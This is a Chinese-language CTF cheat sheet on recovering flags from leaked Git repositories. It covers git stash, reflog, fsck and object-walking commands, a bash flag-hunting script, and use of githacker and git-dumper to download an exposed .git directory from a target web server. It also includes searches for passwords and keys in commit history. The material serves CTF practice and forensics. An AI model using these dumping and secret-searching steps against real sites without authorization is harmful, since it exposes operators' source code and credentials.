Git泄漏找Flag思路总结¶

# 列出所有stash
git stash list

# 查看特定stash的详细内容
git stash show -p stash@{0}

# 应用stash查看文件
git stash apply stash@{0}

$ git stash list
stash@{0}: WIP on master: c35bb3e add flag

$ git stash show -p stash@{0}
diff --git a/file.txt b/file.txt
-where is flag
+ctfhub{68ad8199f5c4734638a08f6a}

# 查看提交历史
git log --all --oneline
git log --all --graph --decorate

# 查看详细的引用日志（包括被删除的提交）
git reflog

# 查看所有分支的提交历史
git log --all --full-history --source --

# 查看特定提交的完整内容
git show <commit-hash>

# 查看特定提交的特定文件
git show <commit-hash>:path/to/file

# 列出提交中修改的所有文件
git show --name-only <commit-hash>

# 遍历所有提交查找flag
for commit in $(git log --all --format=%H); do
    echo "=== $commit ==="
    git show $commit | grep -i "flag\|ctf"
done

# 对比两个提交
git diff <commit1> <commit2>

# 查看工作区与最新提交的差异
git diff HEAD

# 查看暂存区差异
git diff --cached

# 对比所有历史更改
git log -p

# 查看所有分支（包括远程）
git branch -a

# 查看已删除分支的记录
git reflog | grep "checkout:"

# 恢复已删除的分支
git checkout -b <branch-name> <commit-hash>

# 检查所有分支的文件
git log --all --source -- <filename>

# 查看所有git对象
find .git/objects -type f

# 遍历所有对象查找内容
for obj in $(find .git/objects -type f | sed 's/\.git\/objects\///g' | tr -d '/'); do
    git cat-file -p $obj 2>/dev/null | grep -i "flag\|ctf"
done

# 查看松散对象
git fsck --lost-found

# 检查未被引用的对象
git fsck --unreachable

githacker --url http://target.com/.git/ --output-folder result
cd result
git log --all
git stash list

git-dumper http://target.com/.git/ result
cd result
git checkout .
git log --all

# 下载.git目录
./gitdumper.sh http://target.com/.git/ result

# 提取器
./extractor.sh result extract
cd extract

# 关键文件列表
.git/HEAD
.git/config
.git/index
.git/logs/HEAD
.git/refs/heads/master
.git/objects/xx/xxxxxx...

# 查看git配置
cat .git/config

# 查看用户信息
git config --list

# 查看所有标签
git tag

# 查看标签详情
git show <tag-name>

# 查看.gitignore
cat .gitignore

# 查找被忽略但存在的文件
git status --ignored

# 查看子模块
cat .gitmodules
git submodule status

#!/bin/bash

echo "[*] Git Repository Flag Hunter"
echo "================================"

# 1. Stash检查
echo -e "\n[+] Checking stashes..."
git stash list
for i in {0..10}; do
    git stash show -p stash@{$i} 2>/dev/null | grep -i "flag\|ctf"
done

# 2. 提交历史检查
echo -e "\n[+] Checking commit history..."
git log --all --oneline | grep -i "flag\|add\|remove\|delete"

# 3. Reflog检查
echo -e "\n[+] Checking reflog..."
git reflog | head -20

# 4. 遍历所有提交查找flag
echo -e "\n[+] Searching in all commits..."
for commit in $(git log --all --format=%H); do
    git show $commit | grep -iE "flag\{|ctf\{|flag:" && echo "Found in: $commit"
done

# 5. 检查所有分支
echo -e "\n[+] Checking all branches..."
git branch -a

# 6. 检查未引用对象
echo -e "\n[+] Checking unreachable objects..."
git fsck --unreachable

# 7. 搜索所有对象
echo -e "\n[+] Searching in all objects..."
find .git/objects -type f | while read obj; do
    hash=$(echo $obj | sed 's/\.git\/objects\///g' | tr -d '/')
    git cat-file -p $hash 2>/dev/null | grep -iE "flag\{|ctf\{" && echo "Found in object: $hash"
done

echo -e "\n[*] Scan complete!"

# 搜索所有提交中的敏感词
git log --all -S "flag" -S "password" -S "key"

# 搜索提交信息
git log --all --grep="flag\|password"

# 按时间查看提交
git log --all --since="2024-01-01" --until="2024-12-31"

# 查看特定作者的提交
git log --all --author="admin"

# 追踪特定文件的所有历史
git log --all --full-history -- <filename>

# 查看文件的所有版本
git log --all --follow -p -- <filename>

# 查找所有二进制文件
git log --all --numstat | grep "^-"

# 提取特定提交的二进制文件
git show <commit>:<file> > extracted_file